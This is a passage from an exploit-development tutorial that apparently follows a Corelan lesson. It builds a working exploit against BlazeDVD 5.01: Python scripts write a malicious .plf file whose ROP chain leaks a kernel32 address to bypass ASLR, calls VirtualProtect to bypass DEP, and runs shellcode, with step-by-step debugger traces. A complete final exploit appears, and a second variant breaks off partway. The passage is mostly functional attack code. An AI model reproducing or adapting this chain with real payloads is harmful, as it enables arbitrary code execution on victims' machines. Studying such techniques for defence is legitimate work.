    eip=42424242 esp=0012f440 ebp=0012f05c iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    42424242 ??              ???
    
[/code]

As you can see we have landed precisely into our first dummy ROP instruction
at 0xBBBBB. At this point we are ready to start building the ROP chain to
bypass ASLR and DEP.

# Leaking the kernel32 address

As hinted in the tutorial, it is possible to bypass ASLR protection and call
arbitrary kernel32 functions by extracting a leaked kernel32 address on the
stack and using it as a reference to calculate a desired API function \(e.g.
VirtualProtect\).

First let's find the location of the leaked memory address:

[code]

    0:000> dds 0012ff8c
    0012ff8c  76c03c45 kernel32!BaseThreadInitThunk+0x12
    
[/code]

At this point, we need to figure out how to:

  * Load the stack address \(ESP or EBP\) into a register \(e.g EAX\)
  * Advance that register to the stack memory location with the leaked kernel32 address
  * Put the leaked kernel32 address into the register.

Before proceeding any further, let's find all suitable ROP gadgets using
mona.py as follows:

[code]

    !mona rop -n -o
    
[/code]

After a few minutes open _rop\_suggestions.txt_ and _rop.txt_ in mona's output
directory \(Immunity Debugger's program folder by default\). We are now ready
to look for ROP gadgets to perform the extraction.

First let's figure out a way to get the current stack address into EAX. EAX is
the register of choice because of a nice _MOV EAX,DWORD PTR DS:\[EAX\]_
instruction which will allow us to extract the kernel32 address.

The following instruction looks interesting because it will get the value of
EBP \(0012f05c\) into EAX:

[code]

    0x61618563 (RVA : 0x00018563) : # XCHG EAX,EBP # RETN    
    ** [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.5.17.2006 (C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\EPG.dll)
    **   |   {PAGE_EXECUTE_READ}
    
[/code]

Next we need to make EAX point to the leaked kernel32 address at 0012ff8c. In
order to avoid null bytes, I will subtract a negative number from EAX as
follows:

[code]

    0:000> ? ebp - 0012ff8c
    Evaluate expression: -3888 = fffff0d0
    
[/code]

One suitable ROP gadget to accomplish the substraction is SUB EAX,ECX in
EPG.dll:

[code]

    0x6162938a :  # SUB EAX,ECX # RETN    
    ** [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.5.17.2006 (C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\EPG.dll)
    **   |   {PAGE_EXECUTE_READ}
    
[/code]

Now we just need to put the value fffff0d0 into ECX:

[code]

    0x616301d7 :  # POP ECX # RETN    
    ** [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.5.17.2006 (C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\EPG.dll)
    **   |   {PAGE_EXECUTE_READ}
    
[/code]

At last we need to find an instruction of the form _MOV EAX, \[EAX\]_ :

[code]

    0x6163227d (RVA : 0x0003227d) : # MOV EAX,DWORD PTR DS:[EAX] # RETN    
    ** [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.5.17.2006 (C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\EPG.dll)
    **   |  asciiprint,ascii {PAGE_EXECUTE_READ}
    
[/code]

Let's put all of this together in the PoC below:

[code]

    #!/usr/bin/env python
    # PoC5.py
    import struct
    
    junk1 = "A"*304
    
    # Get kernel32 address from the stack
    rop = struct.pack('L',0x61618563) # XCHG EAX,EBP # RETN
    rop+= struct.pack('L',0x616301d7) # POP ECX # RETN
    rop+= struct.pack('L',0xfffff0d0) # Offset
    rop+= struct.pack('L',0x6162938a) # SUB EAX,ECX # RETN
    rop+= struct.pack('L',0x6163227d) # MOV EAX,DWORD PTR DS:[EAX] # RETN
    
    junk2 = "C"*(612 - len(rop) - len(junk1))
    
    seh = struct.pack('L',0x600148df) # ADD ESP,400 # RETN
    
    payload = junk1 + rop + junk2 + seh
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    
[/code]

Below is the debugging session which illustrates all of the ROP gadgets in
action:

[code]

    eax=00000000 ebx=00000000 ecx=600148df edx=777871cd esi=00000000 edi=00000000
    eip=61618563 esp=0012f440 ebp=0012f05c iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    EPG!Ordinal1+0x105c3:
    61618563 95              xchg    eax,ebp
    0:000> t
    eax=0012f05c ebx=00000000 ecx=600148df edx=777871cd esi=00000000 edi=00000000
    eip=61618564 esp=0012f440 ebp=00000000 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    EPG!Ordinal1+0x105c4:
    61618564 c3              ret
    0:000> t
    eax=0012f05c ebx=00000000 ecx=600148df edx=777871cd esi=00000000 edi=00000000
    eip=616301d7 esp=0012f444 ebp=00000000 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    EPG!Ordinal1+0x28237:
    616301d7 59              pop     ecx
    0:000> t
    eax=0012f05c ebx=00000000 ecx=fffff0d0 edx=777871cd esi=00000000 edi=00000000
    eip=616301d8 esp=0012f448 ebp=00000000 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    EPG!Ordinal1+0x28238:
    616301d8 c3              ret
    0:000> t
    eax=0012f05c ebx=00000000 ecx=fffff0d0 edx=777871cd esi=00000000 edi=00000000
    eip=6162938a esp=0012f44c ebp=00000000 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    EPG!Ordinal1+0x213ea:
    6162938a 2bc1            sub     eax,ecx
    0:000> t
    eax=0012ff8c ebx=00000000 ecx=fffff0d0 edx=777871cd esi=00000000 edi=00000000
    eip=6162938c esp=0012f44c ebp=00000000 iopl=0         nv up ei pl nz na po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
    EPG!Ordinal1+0x213ec:
    6162938c c3              ret
    0:000> t
    eax=0012ff8c ebx=00000000 ecx=fffff0d0 edx=777871cd esi=00000000 edi=00000000
    eip=6163227d esp=0012f450 ebp=00000000 iopl=0         nv up ei pl nz na po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
    EPG!Ordinal1+0x2a2dd:
    6163227d 8b00            mov     eax,dword ptr [eax]  ds:0023:0012ff8c=76c03c45
    0:000> t
    eax=76c03c45 ebx=00000000 ecx=fffff0d0 edx=777871cd esi=00000000 edi=00000000
    eip=6163227f esp=0012f450 ebp=00000000 iopl=0         nv up ei pl nz na po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
    EPG!Ordinal1+0x2a2df:
    6163227f c3              ret
    
[/code]

At the end of the chain EAX contains the leaked kernel32 address _76c03c45_.
We can now use this address to calculate the address of VirtualProtect.

# From kernel32 to VirtualProtect

The goal of this section is to calculate the address of
_kernel32.dll\!VirtualProtect_ so that it could be used to bypass DEP. First
let's find the address of VirtualProtect:

[code]

    0:000> x kernel32!VirtualProtect
    76bf2341 kernel32!VirtualProtect (<no parameter info>)
    
[/code]

Because of ASLR the first 4 bytes of the address are going to change with
every reboot; however, the position of _VirtualProtect_ relative to the leaked
kernel32 address _76c03c45_ should remain constant. Because _VirtualProtect_
\(76bf2341\) is less than the leaked address \(76c03c45\), we can get the
address of VirtualProtect into EAX while avoiding null byte by adding a
negative offset as follows:

[code]

    0:000> ? kernel32!VirtualProtect - 76c03c45
    Evaluate expression: -71940 = fffee6fc
    
[/code]

The following ADD instruction should do the trick:

[code]

    0x6161a228 (RVA : 0x0001a228) : # ADD EAX,EBP # RETN
    ** [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.5.17.2006 (C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\EPG.dll) 
    **   |   {PAGE_EXECUTE_READ}
    
[/code]

To pop the correct offset into EBP we can use the following instruction:

[code]

    0x61628185 :  # POP EBP # RETN 
    ** [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.5.17.2006 (C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\EPG.dll) 
    **   |   {PAGE_EXECUTE_READ}
    
[/code]

Here is an updated PoC that implements above ROP gadgets to calculate
_VirtualProtect_ address and place it into EAX:

[code]

    #!/usr/bin/env python
    # PoC6.py
    import struct
    
    junk1 = "A"*304
    
    # Get kernel32 address from the stack
    rop = struct.pack('L',0x61618563) # XCHG EAX,EBP # RETN
    rop+= struct.pack('L',0x616301d7) # POP ECX # RETN
    rop+= struct.pack('L',0xfffff0d0) # Offset
    rop+= struct.pack('L',0x6162938a) # SUB EAX,ECX # RETN
    rop+= struct.pack('L',0x6163227d) # MOV EAX,DWORD PTR DS:[EAX] # RETN
    
    # Calculate VirtualProtect relative to the leaked kernel32 address
    rop+= struct.pack('L',0x61628185) # POP EBP # RETN
    rop+= struct.pack('L',0xfffee6fc) # Offset
    rop+= struct.pack('L',0x6161a228) # ADD EAX,EBP # RETN
    
    junk2 = "C"*(612 - len(rop) - len(junk1))
    
    seh = struct.pack('L',0x600148df) # ADD ESP,400 # RETN
    
    payload = junk1 + rop + junk2 + seh
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    
[/code]

Below is a snippet of the debugging session illustrating the newly added ROP
gadgets:

[code]

    eax=76c03c45 ebx=00000000 ecx=fffff0d0 edx=777871cd esi=00000000 edi=00000000
    eip=61628185 esp=0012f454 ebp=00000000 iopl=0         nv up ei pl nz na po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
    EPG!Ordinal1+0x201e5:
    61628185 5d              pop     ebp
    0:000> t
    eax=76c03c45 ebx=00000000 ecx=fffff0d0 edx=777871cd esi=00000000 edi=00000000
    eip=61628186 esp=0012f458 ebp=fffee6fc iopl=0         nv up ei pl nz na po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
    EPG!Ordinal1+0x201e6:
    61628186 c3              ret
    0:000> t
    eax=76c03c45 ebx=00000000 ecx=fffff0d0 edx=777871cd esi=00000000 edi=00000000
    eip=6161a228 esp=0012f45c ebp=fffee6fc iopl=0         nv up ei pl nz na po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
    EPG!Ordinal1+0x12288:
    6161a228 01e8            add     eax,ebp
    0:000> t
    eax=76bf2341 ebx=00000000 ecx=fffff0d0 edx=777871cd esi=00000000 edi=00000000
    eip=6161a22a esp=0012f45c ebp=fffee6fc iopl=0         nv up ei pl nz ac pe cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
    EPG!Ordinal1+0x1228a:
    6161a22a c3              ret
    
[/code]

After executing the last gadget, the address of _VirtualProtect_ \(76bf2341\)
will be stored in the EAX register. We are now ready to bypass DEP.

# Bypassing DEP

The tutorial recommends us to bypass DEP by using _VirtualProtect_ to set the
access protection on the memory region containing the shellcode to
PAGE\_EXECUTE\_READWRITE. The following parameters must be specified in order
to successfully execute VirtualProtect\(\):

[code]

    BOOL WINAPI VirtualProtect(
      __in   LPVOID lpAddress,
      __in   SIZE_T dwSize,
      __in   DWORD flNewProtect,
      __out  PDWORD lpflOldProtect
    );
    
[/code]

In order to accomplish this, I will use the _VirtualProtect_ ROP chain
automatically generated by mona. You can find it inside _rop\_chains.txt_
file. The file was generated by the **\!mona rop -n -o** command in a previous
section. Let's take a look at the chain and analyze how it works:

**NOTE:** The original chain obtained VirtualProtect address from IAT;
however, since we already have the address stored in EAX we can skip that part
of the chain.

[code]

    # EDI simply contains ROP NOP because we need to have
    # VirtualProtect in ESI so that  lpAddress (ESP) is automatically
    # populated when the PUSHAD is executed.
    0x6403650e, # POP EDI # RETN [MediaPlayerCtrl.dll] 
    0x61646807, # RETN (ROP NOP) [EPG.dll]
    
    # Store VirtualProtect() in ESI
    # The reason we store VirtualProtect in ESI and not in EDI
    # is because we want to take advantage of ESP being automatically
    # pushed on the stack by the PUSHAD instruction.
    0x61642aac, # PUSH EAX # POP ESI # RETN 04 [EPG.dll]
    
    # Store Return Address in EBP
    # The goal of this instruction is to simply transfer execution flow to the
    # stack and our shellcode. PUSH ESP # RET 04 is equivalent to JMP ESP.
    # ESP will be pointing to the contents obtained from EAX since everything
    # else will be popped from the stack by the VirtualProtect call.
    0x6410ba9b, # POP EBP # RETN [NetReg.dll] 
    0x41414141, # Filler (RETN offset compensation)
    0x61608b81, # & push esp #  ret 04 [EPG.dll]
    
    # lpAddress will be automatically populated by the PUSHAD instruction.
    # PUSHAD will simply take the address stored in ESP just before it is executed
    # and push it on the stack right after EBP (ReturnAddress). With this in mind
    # it is convenient to place our shellcode immediately after the PUSHAD
    # instruction.
    
    # Store dwSize in EBX. 
    # 512 bytes from the end of the chain will be marked as Executable. This
    # value can be adjusted based on the actual shellcode size using negative
    # complement to avoid null bytes.
    0x6403bed6, # POP EAX # RETN [MediaPlayerCtrl.dll] 
    0xfffffdff, # Value to negate, will become 0x00000201
    0x640377e0, # NEG EAX # RETN [MediaPlayerCtrl.dll] 
    0x6163dd7f, # PUSH EAX # ADD AL,5E # POP EBX # RETN [EPG.dll]
    
    # Store NewProtect in EDX. 
    # 0x40 is equivalent to PAGE_EXECUTE_READWRITE
    0x64114086, # POP EAX # RETN [NetReg.dll] 
    0xffffffc0, # Value to negate, will become 0x00000040
    0x6002d513, # NEG EAX # RETN [Configuration.dll] 
    0x640148ce, # XCHG EAX,EDX # RETN 02 [MediaPlayerCtrl.dll]
    
    # Store lpOldProtect in ECX
    # The address 0x6404fffb is writeable
    0x6002e5c3, # POP ECX # RETN [Configuration.dll] 
    0x4141,     # Filler (RETN offset compensation)
    0x6404fffb, # &Writable location [MediaPlayerCtrl.dll]
    
    # EAX is set to a regular NOP sled as it will become the 
    # beginning of the executed shellcode once JMP ESP is executed
    0x6162f773, # POP EAX # RETN [EPG.dll] 
    0x90909090, # nop
    
    # PUSHAD will push registers on the stack while moving ESP
    # register to point to the first pushed register as follows.
    # 
    #   Stack:
    #   EDI (ROP NOP)       <---- ESP now points here
    #   ESI (VirtualProtect)
    #   EBP (ReturnAddress)
    #   ESP (lpAddress)
    #   EBX (dwSize)
    #   EDX (flNewProtect)
    #   ECX (lpflOldProtect)
    #   EAX (NOP)
    #
    # After PUSHAD is executed the RETN will transfer execution
    # back to the stack precisely where ROP NOP address was pushed
    # from EDI.
    0x6002ea81, # PUSHAD # RETN [Configuration.dll]
    
[/code]

The above ROP chain uses a PUSHAD technique as follows:

1\) Registers EAX through ESI are populated with the VirtualProtect function
parameters and the necessary padding \(EDI and EAX\).

2\) Registers are pushed on the stack using the _PUSHAD_ instruction.

3\) ESI with the VirtualProtect pointer is executed to disable DEP for a
specified memory region.

Let's update the previous PoC and observe it in the debugger:

[code]

    #!/usr/bin/env python
    # PoC7.py
    import struct
    
    junk1 = "A"*304
    
    # Get kernel32 address from the stack
    rop = struct.pack('L',0x61618563) # XCHG EAX,EBP # RETN
    rop+= struct.pack('L',0x616301d7) # POP ECX # RETN
    rop+= struct.pack('L',0xfffff0d0) # Offset
    rop+= struct.pack('L',0x6162938a) # SUB EAX,ECX # RETN
    rop+= struct.pack('L',0x6163227d) # MOV EAX,DWORD PTR DS:[EAX] # RETN
    
    # Calculate VirtualProtect relative to the leaked kernel32 address
    rop+= struct.pack('L',0x61628185) # POP EBP # RETN
    rop+= struct.pack('L',0xfffee6fc) # Offset
    rop+= struct.pack('L',0x6161a228) # ADD EAX,EBP # RETN
    
    # Setup VirtualProtect
    
    # EDI = ROP NOP (RETN)
    rop+= struct.pack('L',0x6403650e) # POP EDI # RETN
    rop+= struct.pack('L',0x61646807) # RETN (ROP NOP)
    
    # ESI = VirtualProtect()
    rop+= struct.pack('L',0x61642aac) # PUSH EAX # POP ESI # RETN 04
    
     # EBP = ReturnAddress (ptr to jmp esp)
    rop+= struct.pack('L',0x6410ba9b) # POP EBP # RETN
    rop+= struct.pack('L',0x41414141) # junk
    rop+= struct.pack('L',0x61608b81) # Pointer to PUSH ESP # RETN 04
    
    # ESP = lpAddress (automatic)
    # Autofilled
    
    # EBX = dwSize
    rop+= struct.pack('L',0x6403bed6) # POP EAX # RETN
    rop+= struct.pack('L',0xfffffdff) # 512 Bytes
    rop+= struct.pack('L',0x640377e0) # NEG EAX # RETN
    rop+= struct.pack('L',0x6163dd7f) # PUSH EAX # ADD AL,5E # POP EBX # RETN
    
    # EDX = flNewProtect (0x40)
    rop+= struct.pack('L',0x64114086) # POP EAX # RETN *
    rop+= struct.pack('L',0xffffffc0) # 0x40 PAGE_EXECUTE_READWRITE *
    rop+= struct.pack('L',0x6002d513) # NEG EAX # RETN *
    rop+= struct.pack('L',0x640148ce) # XCHG EAX,EDX # RETN 02 *
    
    # ECX = lpflOldProtect (ptr to W address)
    rop+= struct.pack('L',0x6002e5c3) # POP ECX # RETN [Configuration.dll] *
    rop+= struct.pack('H',0x4141)     # junk *
    rop+= struct.pack('L',0x6404f7eb) # Pointer to writable location *
    
    # EAX = NOP (0x90909090)
    rop+= struct.pack('L',0x6162f773) # POP EAX # RETN *
    rop+= struct.pack('L',0x90909090) # Nop padding
    
    # PUSH parameters from registers on the stack
    rop+= struct.pack('L',0x60010324) # PUSHAD # RETN
    
    junk2 = "C"*(612 - len(rop) - len(junk1))
    
    seh = struct.pack('L',0x600148df) # ADD ESP,400 # RETN
    
    payload = junk1 + rop  + junk2 + seh
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    
[/code]

Let's watch what happens in the debugger before and after PUSHAD is executed:

[code]

    (96c.960): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000001 ebx=776100aa ecx=04918cf0 edx=00000042 esi=049128a0 edi=6405362c
    eip=41414141 esp=0012f424 ebp=04912470 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
    41414141 ??              ???
    0:000> bp 0x60010324
    0:000> g
    Breakpoint 0 hit
    eax=90909090 ebx=00000201 ecx=6404f7eb edx=00000040 esi=76bf2341 edi=61646807
    eip=60010324 esp=0012f4aa ebp=61608b81 iopl=0         nv up ei pl nz na po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
    Configuration!DllCreateObject+0x8814:
    60010324 60              pushad
    0:000> dds esp
    0012f4aa  43434343
    0012f4ae  43434343
    0012f4b2  43434343
    0012f4b6  43434343
    0012f4ba  43434343
    0012f4be  43434343
    0:000> t
    eax=90909090 ebx=00000201 ecx=6404f7eb edx=00000040 esi=76bf2341 edi=61646807
    eip=60010325 esp=0012f48a ebp=61608b81 iopl=0         nv up ei pl nz na po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
    Configuration!DllCreateObject+0x8815:
    60010325 c3              ret
    0:000> dds esp
    0012f48a  61646807 EPG!Ordinal1+0x3e867
    0012f48e  76bf2341 kernel32!VirtualProtect
    0012f492  61608b81 EPG!Ordinal1+0xbe1
    0012f496  0012f4aa
    0012f49a  00000201
    0012f49e  00000040
    0012f4a2  6404f7eb MediaPlayerCtrl!DllCreateObject+0x41cfb
    0012f4a6  90909090 ; PUSHAD ROP used to be here
    0012f4aa  43434343 ; Beginning of the shellcode
    
[/code]

As you can see after the PUSHAD instruction is executed all of the registers
were pushed on the stack in the order necessary to successfully execute the
VirtualProtect\(\) call. Continuing the execution, we enter the
kernel32\!VirtualProtect function and disable DEP for the memory region just
below the PUSHAD ROP chain:

[code]

    0:000> t
    eax=90909090 ebx=00000201 ecx=6404f7eb edx=00000040 esi=76bf2341 edi=61646807
    eip=61646807 esp=0012f48e ebp=61608b81 iopl=0         nv up ei pl nz na po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
    EPG!Ordinal1+0x3e867:
    61646807 c3              ret
    0:000> t
    eax=90909090 ebx=00000201 ecx=6404f7eb edx=00000040 esi=76bf2341 edi=61646807
    eip=76bf2341 esp=0012f492 ebp=61608b81 iopl=0         nv up ei pl nz na po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
    kernel32!VirtualProtect:
    76bf2341 8bff            mov     edi,edi
    
[/code]

Let's skip over until we return from the VirtualProtect\(\) call and see if it
is now possible to execute commands on the stack:

[code]

    0:000> bp 61608b81
    0:000> bl
     0 e 60010324     0001 (0001)  0:**** Configuration!DllCreateObject+0x8814
     1 e 61608b81     0001 (0001)  0:**** EPG!Ordinal1+0xbe1
    0:000> g
    Breakpoint 1 hit
    eax=00000001 ebx=00000201 ecx=0012f44e edx=777870b4 esi=76bf2341 edi=61646807
    eip=61608b81 esp=0012f4a6 ebp=61608b81 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    EPG!Ordinal1+0xbe1:
    61608b81 54              push    esp
    0:000> t
    eax=00000001 ebx=00000201 ecx=0012f44e edx=777870b4 esi=76bf2341 edi=61646807
    eip=61608b82 esp=0012f4a2 ebp=61608b81 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    EPG!Ordinal1+0xbe2:
    61608b82 c20400          ret     4
    0:000> t
    eax=00000001 ebx=00000201 ecx=0012f44e edx=777870b4 esi=76bf2341 edi=61646807
    eip=0012f4a6 esp=0012f4aa ebp=61608b81 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    0012f4a6 90              nop
    0:000> t
    eax=00000001 ebx=00000201 ecx=0012f44e edx=777870b4 esi=76bf2341 edi=61646807
    eip=0012f4a7 esp=0012f4aa ebp=61608b81 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    0012f4a7 90              nop
    0:000> t
    eax=00000001 ebx=00000201 ecx=0012f44e edx=777870b4 esi=76bf2341 edi=61646807
    eip=0012f4a8 esp=0012f4aa ebp=61608b81 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    0012f4a8 90              nop
    0:000> t
    eax=00000001 ebx=00000201 ecx=0012f44e edx=777870b4 esi=76bf2341 edi=61646807
    eip=0012f4a9 esp=0012f4aa ebp=61608b81 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    0012f4a9 90              nop
    0:000> t
    eax=00000001 ebx=00000201 ecx=0012f44e edx=777870b4 esi=76bf2341 edi=61646807
    eip=0012f4aa esp=0012f4aa ebp=61608b81 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    0012f4aa 43              inc     ebx
    
[/code]

Hurray\! We have started executing the NOP sled stored in EAX and moved on to
the beginning of **junk2** buffer. At this point we are ready to finalize the
exploit.

# Finalizing the Exploit

With the initial padding of 304 bytes and additional 210 bytes of ROP chain we
only have 198 bytes available for shellcode before we hit the SEH address
placeholder. 198 bytes is sufficient for a simple shellcode; however, you can
use an egghunter or a jump instruction if you want to place the main shellcode
somewhere else \(e.g. right after the SEH pointer\).

Here is the final exploit using a simple calc shellcode:

[code]

    #!/usr/bin/env python
    # BlazeDVD 5.01 DEP/ASLR Exploit by iphelix
    # PUSHAD chain generated by mona.py
    import struct
    
    junk1 = "A"*304
    
    # Get kernel32 address from the stack
    rop = struct.pack('L',0x61618563) # XCHG EAX,EBP # RETN
    rop+= struct.pack('L',0x616301d7) # POP ECX # RETN
    rop+= struct.pack('L',0xfffff0d0) # Offset
    rop+= struct.pack('L',0x6162938a) # SUB EAX,ECX # RETN
    rop+= struct.pack('L',0x6163227d) # MOV EAX,DWORD PTR DS:[EAX] # RETN
    
    # Calculate VirtualProtect relative to the leaked kernel32 address
    rop+= struct.pack('L',0x61628185) # POP EBP # RETN
    rop+= struct.pack('L',0xfffee6fc) # Offset
    rop+= struct.pack('L',0x6161a228) # ADD EAX,EBP # RETN
    
    ###########################################################
    # Setup VirtualProtect
    
    # EDI = ROP NOP (RETN)
    rop+= struct.pack('L',0x6403650e) # POP EDI # RETN
    rop+= struct.pack('L',0x61646807) # RETN (ROP NOP)
    
    # ESI = ptr to VirtualProtect()
    rop+= struct.pack('L',0x61642aac) # PUSH EAX # POP ESI # RETN 04
    
     # EBP = ReturnTo (ptr to jmp esp)
    rop+= struct.pack('L',0x6410ba9b) # POP EBP # RETN
    rop+= struct.pack('L',0x41414141) # junk
    rop+= struct.pack('L',0x61608b81) # Pointer to PUSH ESP # RETN 04
    
    # ESP = lPAddress (automatic)
    # Autofilled
    
    # EBX = dwSize
    rop+= struct.pack('L',0x6403bed6) # POP EAX # RETN
    rop+= struct.pack('L',0xfffffdff) # 512 Bytes
    rop+= struct.pack('L',0x640377e0) # NEG EAX # RETN
    rop+= struct.pack('L',0x6163dd7f) # PUSH EAX # ADD AL,5E # POP EBX # RETN
    
    # EDX = NewProtect (0x40)
    rop+= struct.pack('L',0x64114086) # POP EAX # RETN *
    rop+= struct.pack('L',0xffffffc0) # 0x40 PAGE_EXECUTE_READWRITE *
    rop+= struct.pack('L',0x6002d513) # NEG EAX # RETN *
    rop+= struct.pack('L',0x640148ce) # XCHG EAX,EDX # RETN 02 *
    
    # ECX = lpOldProtect (ptr to W address)
    rop+= struct.pack('L',0x6002e5c3) # POP ECX # RETN [Configuration.dll] *
    rop+= struct.pack('H',0x4141)     # junk *
    rop+= struct.pack('L',0x6404f7eb) # Pointer to writable location *
    
    # EAX = NOP (0x90909090)
    rop+= struct.pack('L',0x6162f773) # POP EAX # RETN *
    rop+= struct.pack('L',0x90909090) # Nop padding
    
    # PUSH parameters from registers on the stack
    rop+= struct.pack('L',0x60010324) # PUSHAD # RETN
    
    # shellcode
    sc = "\x66\x81\xE4\xFC\xFF\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7\xCC"
    
    junk2 = "C"*(612 - len(sc) - len(rop) - len(junk1))
    print len(junk2)
    
    seh = struct.pack('L',0x600148df) # ADD ESP,400 # RETN
    
    payload = junk1 + rop + sc + junk2 + seh
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    
[/code]

After opening the "exploit.plf" file, you should be greated with a fancy
Windows 7 calculator:

<img src='img/Temp2_10147.png' />

# Trying harder

The exploit in the previous section illustrates the power of the PUSHAD
technique where Windows API call parameters are quickly populated on the stack
and executed. However, in the interest of learning and _pain_ I have decided
to implement the same exploit by using the placeholder approach covered in the
Corelan Tutorial.

When trying to build the chain, I have first searched through the _rop.txt_
file for instructions of type **MOV \[REG1\],REG2\]**. This instruction is
useful for filling in a placeholder where the destination REG1 would point to
the current empty slot while REG2 would be populated with the actual data.

The following ROP gadgets looked promising:

[code]

    MOV DWORD PTR DS:[EAX],ECX # RETN
    MOV DWORD PTR DS:[ECX],EAX # RETN
    MOV DWORD PTR DS:[EDX],ECX # RETN
    MOV DWORD PTR DS:[EAX],EDX # RETN
    MOV DWORD PTR DS:[EAX+10],EDX # RETN 08
    MOV DWORD PTR DS:[EAX+14],EDX # RETN 08
    MOV DWORD PTR DS:[EAX+18],EDX # RETN
    MOV DWORD PTR DS:[EAX+ECX],EDX # RETN 0C
    
[/code]

Based on a few simple searches through available ROP gadgets I have decided to
use **EAX** as the target register , because it was the easiest to manipulate:

[code]

    NEG EAX # RETN
    XOR EAX,EAX # RETN
    SUB EAX,ECX # RETN
    ADD EAX,EBP
    XCHG EAX,EDX
    
[/code]

It was much harder to pick the source register. Unfortunately, while
**\[EAX\],ECX** appeared to work at first there were very few gadgets that
could be used to manipulate it. As a result, I have decided to go with the
**\[EAX\],EDX** pair especially considering it already had useful gadgets such
as **\[EAX+10\],EDX** , **\[EAX+14\],EDX** and **\[EAX+18\],EDX**.
Additionally there were plenty of gadgets which could be used to manipulate
both EDX and EAX:

[code]

    XCHG EAX,EDX # RETN
    MOV EAX,EDX # RETN
    SUB EAX,EDX # RETN
    
[/code]

The XCHG instruction is particularly useful when calculating relative
addresses and offsets.

With the above in mind, I came up with the following exploit which does not
rely on the PUSHAD technique:

[code]

    #!/usr/bin/env python
    # BlazeDVD 5.01 DEP/ASLR (non-PUSHAD) exploit by iphelix
    import struct
    
    junk1 = "A"*304
    
    #############################################################
    # 0x00 Find ourselves on the stack
    
    rop = struct.pack('L',0x64022c64) # PUSH ESP # POP ESI # RETN
    rop+= struct.pack('L',0x6161300e) # MOV EAX,ESI # POP ESI # RETN
    rop+= struct.pack('L',0x41414141) # junk
    rop+= struct.pack('L',0x6403bed7) # ROP NOP (used for alignment
                                      # so we can use [EAX+n],EDX)
    
    rop+= struct.pack('L',0x61602d9c) # {pivot 24} :  # ADD ESP,18 # RETN
    
    #############################################################
    # VirtualProtect placeholder
    rop+= struct.pack('L',0x11111111) # VirtualProtect
    rop+= struct.pack('L',0x22222222) # ReturnAddress
    rop+= struct.pack('L',0x33333333) # lpAddress
    rop+= struct.pack('L',0x44444444) # dwSize
    rop+= struct.pack('L',0x55555555) # flNewProtect
